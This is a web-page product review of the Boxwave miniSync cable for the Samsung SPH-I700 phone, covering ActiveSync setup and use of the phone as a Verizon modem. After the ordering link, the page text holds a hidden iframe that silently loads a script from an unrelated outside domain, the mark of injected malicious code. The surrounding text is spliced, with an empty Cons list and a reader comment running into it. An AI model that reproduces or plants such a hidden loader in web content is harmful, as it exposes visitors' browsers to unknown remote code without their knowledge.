The Samsung SPH-I700 PDA phone offers a great bundle of features in a reasonably-sized package, but has always been criticized for its accessories. The case is too girly, the earbuds hurt my ears, WHAT, you mean I have to lug that CRADLE around?!?!? Well, travellers, relief from carrying the cradle for ActiveSync and use of the I700 as a modem has arrived, and it arrives for $30 less than the $54 Samsung USB data cable.
Boxwave, creators of the miniSync series of highly portable USB data, sync, and charging cables, has released a custom miniSync retractable data and sync cable for the I700, we've put it through the wringer and can gladly report this cable is ready for prime time. In our tests and descriptions below, we'll help you understand how to use this cable and how it succeeded for us. We should note that this cable cannot charge the I700 via the USB port. Boxwave continues to work on engineering a solution that addresses the unique power circuitry of the I700. That aside, the miniSync performed flawlessly as a cable for ActiveSync and for enabling the i700 as a CDMA modem.
If you've already installed ActiveSync, the I700 USB drivers, and the I700 CDMA modem drivers, you'll be able to step right into this product and leave the cradle behind. Simply substitute the miniSync for the cradle and you'll find everything works exactly as it did with the cradle. In fact, in my testing, I found that the miniSync produced a 100% reliable connection to the I700 for ActiveSync rather than the USB Device Not Recognized error I frequently receive when using the cradle. Here are the details of my experience with the miniSync, start to finish on a Windows XP laptop that had no prior I700 software installed.
I started by downloading the Samsung USB and CDMA Modem Driver kit available via a link on Boxwave's site and
here at pdaphonehome.com. I installed this first, before making any physical connections with the miniSync. Next, I installed ActiveSync 3.7, downloaded from Microsoft's site. In the past, I had much trouble installing ActiveSync on my laptop and gave up. This time, with a real need to conquer this obstacle, I shutdown every system tray application and ActiveSync installed just fine. That's it for the software install, so I started up ActiveSync so it could watch for device connections.
Preparing for an ActiveSync test, I set my USB settings to ActiveSync for the next connection.
TIP: Did you know you can click on the modem icon to the left of the TX/RX bars to jump right to the USB settings page? I connected the I700 connector to my phone, then plugged the USB connector into my laptop. After some discovery and installation time, ActiveSync popped up a prompt asking if I wanted to setup a Standard or Guest partnership. In my case, I chose Guest. Once the connection formed, I was able to do passthrough internet access with the ActiveSync connection and transfer files successfully. The miniSync works just as well with the Standard partnership on my office desktop system.
Next, I detached the I700 from the miniSync and changed the USB setting to External Data Call. When I reconnected the I700, plug and play went through more installation actions and eventually presented me with a new modem ready for use. I opened my Network Connections control panel, and chose Create New connection. I said the connection connects to the Internet, and that I would setup my connection manually. I set the phone number to #777, then used
myphonenumber@vzw3g.com as the username, and vzw as the password. Once I finished the connection setup and saved it on my desktop as "Verizon Wireless" a popup appeared, ready to dial me in. I hit the connect button and in a matter of seconds, my laptop, with no other connected networking hardware, was online at 60kbps using my I700.
The miniSync, shown here, is built in durable matte black plastic and is just a bit shorter than the long edge of the I700. The I700 end of the connector features a stress relief while the USB end does not, but the wire gauge used for the miniSync is plenty large enough to ensure a long life. If you haven't already seen the miniSync's web pages, Boxwave shows the miniSync wrapped around and suspending two bricks. Total extended length is around three feet, with stops every six inches. At $24.95, the miniSync offers a $29 price advantage over the Samsung USB data cable and is $35 less than a spare cradle. Both Samsung products offer the added advantage that you can connect the travel charger and also charge the I700 while using it for sync and modem. It is not yet known if the miniSync will ever be able to provide power to the I700 given the steps Samsung has taken to ensure a challenge for the third party accessory market. On that note and purely for the worriers among us, I have no idea how Samsung could prove it, but use of third party accessories does technically void your warranty.
Overall the miniSyncs are great products, and the custom I700 version follows in their tradition. Here's a summary:
Pros- Size
- Price
- Durability
- Ease of Use
ConsIf you'd like to order the $24.95 I700 miniSync, you can get one
here.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
to report that I won one right here and love it. It works great and is small enough to carry with me (cargo pants). I'm glad that I held-off on the Samsung cable. Having the retractable feature is a big winner over Samung's data cable, which sells for $60 and is currently out-of-stock anyway. 
Login
Panel
